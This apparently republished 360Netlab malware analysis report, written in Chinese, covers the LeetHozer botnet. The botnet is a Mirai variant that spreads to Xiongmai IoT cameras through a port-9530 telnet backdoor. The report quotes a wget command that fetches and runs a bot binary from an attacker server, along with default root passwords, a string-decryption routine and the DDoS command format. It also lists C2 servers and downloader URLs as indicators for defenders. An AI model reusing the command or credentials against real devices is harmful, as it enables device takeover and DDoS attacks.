LeetHozer Botnet分析报告 | xxxLeetHozer Botnet分析报告 – xxx
菜单

LeetHozer Botnet分析报告

四月 27, 2020 - 360netlab

背景

2020年3月26日我们捕获了一个可疑的样本 11c1be44041a8e8ba05be9df336f9231,大部分杀毒引擎将其识别为Mirai,但是其网络流量却不符合Mirai的特征,这引起了注意,经分析,这是一个复用了Mirai的Reporter,Loader机制,重新设计了加密方法以及C2通信协议的Bot程序。
Mirai已经是安全社区非常熟悉的老朋友,蜜罐系统每天都能捕获大量的Mirai变种,这些变种都非常简单:要么是换一换C2;要么改一改加密的Key;要么集成些新的漏洞扫描……这些入门级的DDoser已经不能引起我们的任何兴趣了。这个Bot程序之所以能在众多变种脱颖而出,一是因为它独特的的加密方法,严谨的通信协议;二是因为在溯源过程中,我们发现它很有可能隶属于Moobot团伙而且正在迭代开发中(就在我们编写本文的同时作者更新了第三个版本,增加了一些新功能,更换了新的Tor CC vbrxmrhrjnnouvjf.onion:31337)。基于这些原因,我们决定将它曝光。因为传播过程中使用H0z3r字串(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;),我们将其命名为LeetHozer。目前观测到感染目标主要是雄迈旗下的固件版本早于2017年5月的H.264设备和部分固件版本晚于2017年5月H.265设备。其Bot功能主要包括:

传播

LeetHozer利用目标设备TCP 9530端口的漏洞(后门)开启的telnetd服务,开启成功后通过默认口令登录设备完成感染过程。传播过程如图所示:

关于9530端口漏洞的利用

当前利用该漏洞的源IP还保持在日均4.5k左右。

LeetHozer和moobot_xor在9530漏洞利用中使用了同一个独特的字串/bin/busybox DNXXXFF,我们还观察到他们曾经在相同时间点使用了同一个downloader,因此推测moobot_xor和LeetHozer属于同一个组织或者个人。基于这一点,我们将扫描利用TCP 9530端口漏洞的IP都认为是潜在的或已经成为LeetHozer的Bot IP估计,LeetHozer的日活Bot IP可能在4.5k左右。请注意并不是说这些Bot都是通过9530端口感染而来。该团伙也会通过其他漏洞、弱口令等方式传播自己的bot样本。
这个两个家族共用downloader的时间以及downloader如下所示:

date=2020-03-26 08:11:46+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i686 date=2020-03-26 08:11:39+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i586 date=2020-03-26 08:11:39+08:00  md5=b7b2ae292bf182b0d91535770394ad93    family_name=moobot_xor  url=http://185.172[.110.224/ab/arm 

当前我们看到的LeetHozer攻击目标

2020-04-07 37.49.226.171          31337 ddos tcpraw   45.83.128.252   ASN40676  Psychz_Networks 2020-04-07 37.49.226.171          31337 ddos udpplain 172.106.18.210  ASN40676  Psychz_Networks 2020-04-08 37.49.226.171          31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd 2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161  ASN25369  Hydra_Communications_Ltd 2020-04-13 37.49.226.171          31337 ddos icmpecho 73.99.44.254    ASN7922   Comcast_Cable_Communications,_LLC 2020-04-13 37.49.226.171          31337 ddos icmpecho 94.174.77.69    ASN5089   Virgin_Media_Limited 2020-04-13 37.49.226.171          31337 ddos udppplain 94.174.77.69    ASN5089   Virgin_Media_Limited 2020-04-16 37.49.226.171          31337 ddos icmpecho 117.27.239.28   ASN133774 Fuzhou 2020-04-16 37.49.226.171          31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd 2020-04-16 37.49.226.171          31337 ddos icmpecho 52.47.76.48     ASN16509  Amazon.com,_Inc. 2020-04-16 37.49.226.171          31337 ddos tcpraw   117.27.239.28   ASN133774 Fuzhou 2020-04-16 37.49.226.171          31337 ddos tcpraw   162.248.93.234  ASN32374  Nuclearfallout_Enterprises,_Inc. 2020-04-16 37.49.226.171          31337 ddos udpplain 71.222.69.77    ASN209    CenturyLink_Communications,_LLC 2020-04-17 37.49.226.171          31337 ddos udpplain 117.27.239.28   ASN133774 Fuzhou 2020-04-18 37.49.226.171          31337 ddos tcpraw   76.164.193.89   ASN36114  Versaweb,_LLC 2020-04-18 37.49.226.171          31337 ddos udpplain 117.27.239.28   ASN133774 Fuzhou 2020-04-18 37.49.226.171          31337 ddos udpplain 66.150.188.101  ASN32374  Nuclearfallout_Enterprises,_Inc. 2020-04-19 37.49.226.171          31337 ddos tcpraw   117.27.239.28   ASN133774 Fuzhou 2020-04-19 37.49.226.171          31337 ddos udpplain 108.61.22.86    ASN20473  Choopa,_LLC 2020-04-19 37.49.226.171          31337 ddos udpplain 108.61.33.194   ASN20473  Choopa,_LLC 2020-04-19 37.49.226.171          31337 ddos udpplain 172.107.228.198 ASN40676  Psychz_Networks 2020-04-19 37.49.226.171          31337 ddos udpplain 192.99.226.11   ASN16276  OVH_SAS 2020-04-19 37.49.226.171          31337 ddos udpplain 209.58.147.245  ASN394380 Leaseweb_USA,_Inc. 2020-04-19 37.49.226.171          31337 ddos udpplain 24.46.209.115   ASN6128   Cablevision_Systems_Corp. 2020-04-19 37.49.226.171          31337 ddos udpplain 71.222.69.77    ASN209    CenturyLink_Communications,_LLC 2020-04-20 37.49.226.171          31337 ddos udpplain 139.28.218.180  ASN9009   M247_Ltd 2020-04-20 37.49.226.171          31337 ddos udpplain 74.91.122.90    ASN14586  Nuclearfallout_Enterprises,_Inc. 2020-04-23 37.49.226.171          31337 ddos icmpecho 162.244.55.107  ASN49544  i3D.net_B.V 2020-04-23 37.49.226.171          31337 ddos udpplain 162.244.55.107  ASN49544  i3D.net_B.V 

逆向分析

目前LeetHozer Botnet有2个版本,V2新增了DDos攻击方法,其它方面几乎是一样的。

下文将以最新版本V2为主,同时也会穿插V1(MD5:11c1be44041a8e8ba05be9df336f9231),从主机行为,DDos指令格式,网络通信等方面剖析LeetHozer的技术细节。

MD5: 57212f7e253ecebd39ce5a8a6bd5d2df

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Packer: None

Library: uclibc

Version: V2

主机行为

LeetHozer的功能比较简单,运行时会操作watchdog设备,将pid写到入名为.1的文件中,在console中输出出/bin/sh:./a.out:not found字串,迷惑用户。接着开始扫描9530端口,使用漏洞开启telnetd服务,将被感染的设备信息上报给reporter,同时,和C2建立通信,等待指令,准备DDos攻击。

Bot使用自定义的算法加密敏感资源,防止其功能被一眼看破,解密算法如下

xorkey="qE6MGAbI"  def decode_str(ctxt):     for i in range(0,len(xorkey)):         plain=""         size=len(ctxt)             for idx in range(0, size):             ch=ord(ctxt[idx])              ch ^=(ord(xorkey[i]) + idx )             plain += chr(ch)         ctxt=plain     return ctxt 

解密后资源信息如下所示,里面包括了Bot要操作的watchdog设备,C2等,这些信息只有在需要使用时会才会解密。

.1/dev/watchdog
/dev/misc/watchdog/bin/sh: ./a.out: not found
w6gr2jqz3eag4ksi.onion

Bot功能具体实现如下所示,

  1. 设置watchdog防止设备重启

  2. 通过PID文件实现Bot单例

  3. 扫描端口&漏洞利用&上报信息

    • 复用了mirai的快速端口扫描,扫描端口为9530

    • 利用漏洞开启telnetd服务,用以下的凭证尝试登录。

      root:xc3511 root:xmhdipc root:klv123 root:123456 root:jvbzd root:hi3518 root:tsgoingon 
    • 上报成功登录的设备信息

  4. 接收C2指令,准备DDos攻击,不同版本支持的攻击命令有所差异。

    versioncommand
    V1tcpraw
    v2tcpraw;icmpecho;udpplain

    但是攻击指令的数据格式是一样的,其结构为Header(6 bytes),Option1,Option2...,其中Option的结构为Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, 下面以一个实际的攻击指令为例说明解析过程。

    00000000: 3E 00 3F 00 3A 00 01 00  08 00 04 00 75 64 70 70  >.?.:.......udpp 00000010: 6C 61 69 6E 00 00 00 00  01 00 0E 00 06 00 31 33  lain..........13 00000020: 39 2E 32 38 2E 32 31 38  2E 31 38 30 00 00 00 00  9.28.218.180.... 00000030: 02 00 01 00 0C 00 50 00  02 00 01 00 05 00 64 00  ......P.......d. ---------------------------------------------------------------------------- Header:  3E 00 3F 00 3A 00,小端方式解读数据     0x003E  ---- xor key     0x003A  ---- 0x3A xor 0x3E = 4 个Option Opt 1:  01 00 08 00 04 00,小端方式解读数据     0x0001  ----Type 1,Padding 4 bytes     0x0008  ----Content length,len("udpplain") = 8     0x0004  ----Subtype 4,Contents为attack vector    Contents: udpplain    Padding: 00 00 00 00     Opt 2:  01 00 0E 00 06 00,小端方式解读数据     0x0001  ----Type 1,Padding 4 bytes     0x000e  ----Content length     0x0006  ----Subtype 6,Contents为attack target              Contents: 139.28.218.180              Padding: 00 00 00 00     Opt 3:  02 00 01 00 0c 00,小端方式解读数据     0x0002  ----Type 2,No Padding     0x0001  ----Type 2 忽略此字段,Contents长度为定长2 bytes              0x000c  ----Subtype 0xc,Contents为target port              Contents: 80  Opt 4:  02 00 01 00 05 00,小端方式解读数据     0x0002  ----Type 2,No Padding     0x0001  ----Type 2 忽略此字段,Contenss长度为定长2 bytes     0x0005  ----Subtype 0x05,Contents为攻击时长              Contents: 0x0064 

通信协议

LeetHozer使用过2种C2:Tor-C2以及IP-C2,比较奇怪的是在V2的Bot样本中两种C2同时存在,但是Tor-C2所在的的代码分枝不会被执行,我们有理由相信这个Botnet正在迭代开发中。

  1. Tor-C2,V1使用,V2出现但不使用。

      w6gr2jqz3eag4ksi.onion:31337 
  2. IP-C2,V2使用。

    37.49.226.171:31337 

无论是哪种C2,通信协议是一样的,只不过Tor-C2有一个通过Tor proxy建立连接的前置过程。Bot和C2建立连接后得经过2轮交互才真正上线成功。

至此Bot与C2之间的身份查验完成,Bot开始等待C2下发指令,C2回包的第一字节指定了指令的类型。

联系我们

感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

IoC list

C2

vbrxmrhrjnnouvjf.onion:31337  #v3 37.49.226.171:31337           #v2 w6gr2jqz3eag4ksi.onion:31337  #v1 

MD5

027d7e1cda6824bc076d0a586ea139f5 05a485caf78eca390439b7c893c0354b 068083b9d0820f3ac9cec10d03705649 08e1b88305ad138a4509fb6b72ae3d31 0a56855a6d56efe409c2b7a4c6113bcf 0dee2c063085d0c5466137a3c32479f2 0eecbfd368f821901f9ba758e267557a 110ec534e1c60fc47f37739f03c1bb6a 1111c252ee54c4a6614498e66cefb4e7 11c1be44041a8e8ba05be9df336f9231 121960341ab64a7e7686373dedfbc058 128a53e447266e4d0e12adb7c0b43159 129f41468303728b029def8dbc910e35 177de1bf8f90cbcea50fd19c1e3e8cfe 17b5d683d7b177760c8a2ffd749650b0 1aba422e02f0fbff5189399e01e272d4 21e7898b4b585b825d120c3b0fed8b8a 242d0c9386f61c3ac9ddcdbcda724f3e 25588d12bdbb4e4b1d946f2d5c89abf3 273afac3320ddceb0e18671a3e878fa3 2f066945cee892cc857d477d97d42d7c 30c60cfb51896e5d06012ec6cf15c588 3525d090ab1ab1739507ae1777a70b95 37d9fd56ce685717f1180615f555754e 3d24b9cafda55909fbfde16a5222b4d8 3f88cbbcaa3e0b410dcdb18ddb68d4c2 4229c19e6e5c2dc8560fae9b35841957 45a30d656b4767bce0058f80b0895a95 4e22d0079c18043b6d9037fb842d94ee 58a13abe621acc532b1b6d26eb121c61 5ed891c31bc86689cb93488f5746404a 5fafdc3e3ed7c38a204234e0146e5663 5fec7347f2a9a2ae798505135a61c47f 60bb6bf05c3e7f6f13f2374511963f79 669e5f3513ebfa9c30766da294036d6e 6c883cf42d63a672815e38223d241662 6e7e638d27971e060aaee1b9ae43fe4a 76d0285f95fbee81cff81948d5a98db0 7b08a0569506174463c83f50f8d65a8f 84d39f46c4694e176d8734dd53a07c2c 86072e88f28ebf357443300656c0349a 88a39f5bb8e271f3d080a9aaa6c4a44a 8dc36df1617d9c2be576fa02a5c24803 8e7d774441229809c9cfa8d8705b5258 90a63857f31714ff2c285eb6ca9af3d1 919308996155d7a9ec2f7a25a64eb759 91fe795b69880972e30929632d359b52 9a63001fe8f2d2d642bc2c8310a429e0 9c95be6e1e9927cc0171fc344fcceb71 a42550641cc709168c145b5739fca769 a579d46a571e123a9d65dcfe21910c87 a76fdf5b2f817dc1f2e3c241d552b9ae aa469ab3eb6789104bda30c910f063f5 b0276d96976dd6b805a02141e78df927 b35733792393a08408773a141a94f668 b84fb91f818a2b221833cb6499e5d345 bd28cdf60b03fc302b0ed467b3ea7e43 c6e9c7e7b5370441b379fd0032af4a85 cc42951a01c07dc7034251fdcd08c778 cce2f84c925f30ba11afd817bdae9377 d9d2c7e131e2f19985fffe9a1f38bca1 db6b387ba0f1ab17785de63be55e7fb6 deb66817f026c50d6e78ace69db6f0e6 e8e249712b7ad0bb92ac5ebb1d0f3378 e9ee7ea21696c9e01257c7543d344487 eb210bc6a54c1faef3cc043d767a4c3b ecf26cb853f2d22b705334cd9acdd3c2 f4aa925fb0d0eda1bdd4b52eecd7d870 fdd05db406a03601b9548aa7a1d07bb6 

Downloader

http://185[.172.110.224/ab/i586 http://185[.172.110.224/ab/i686 http://185[.172.110.224/uc/i686 http://185.225.19.57/aq/rxrg http://188[.214.30.178/arm6 http://188[.214.30.178/arm7 http://188[.214.30.178/bot.arm http://188[.214.30.178/bot.arm7 http://188[.214.30.178/bot.mips http://188[.214.30.178/bot.mpsl http://188[.214.30.178/bot.x86 http://188[.214.30.178/tn/arm http://188[.214.30.178/tn/arm7 http://188[.214.30.178/tn/mips http://188[.214.30.178/tn/mpsl http://190[.115.18.144/arm6 http://190[.115.18.144/arm7 http://190[.115.18.144/bot.arm http://190[.115.18.144/bot.arm7 http://190[.115.18.144/bot.mips http://190[.115.18.144/bot.mpsl http://190[.115.18.144/bot.x86 http://190[.115.18.144/tn/arm http://190[.115.18.144/tn/arm7 http://190[.115.18.144/tn/mips http://190[.115.18.144/tn/mpsl http://37[.49.226.171/bins/mirai.arm http://37[.49.226.171/bins/mirai.arm7 http://37[.49.226.171/bins/mirai.mpsl http://37[.49.226.171/bins/mirai.sh4 http://37[.49.226.171/bins/mirai.x86 http://37[.49.226.171/mirai.arm http://37[.49.226.171/mirai.arm7 http://37[.49.226.171/mirai.mpsl http://37[.49.226.171/mirai.sh4 http://37[.49.226.171/mirai.x86 http://64[.225.64.58/arm http://64[.225.64.58/arm5 http://64[.225.64.58/arm6 http://64[.225.64.58/arm7 http://64[.225.64.58/bot.arm http://64[.225.64.58/bot.arm7 http://64[.225.64.58/bot.mips http://64[.225.64.58/bot.mpsl http://64[.225.64.58/bot.x86 http://64[.225.64.58/i586 http://64[.225.64.58/i686 http://64[.225.64.58/m68k http://64[.225.64.58/mips http://64[.225.64.58/mpsl http://64[.225.64.58/sh4 http://64[.225.64.58/spc http://64[.225.64.58/x86 

IP

185.172.110.224     Netherlands    ASN206898    Server_Hosting_Pty_Ltd 185.225.19.57       Romania        ASN39798     MivoCloud_SRL 37.49.226.171       Netherlands    ASN208666    Estro_Web_Services_Private_Limited 64.225.64.58        Netherlands    ASN14061     DigitalOcean,_LLC 188.214.30.178      Romania        ASN51177     THC_Projects_SRL 190.115.18.144      Russian        ASN262254    DANCOM_LTD 

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51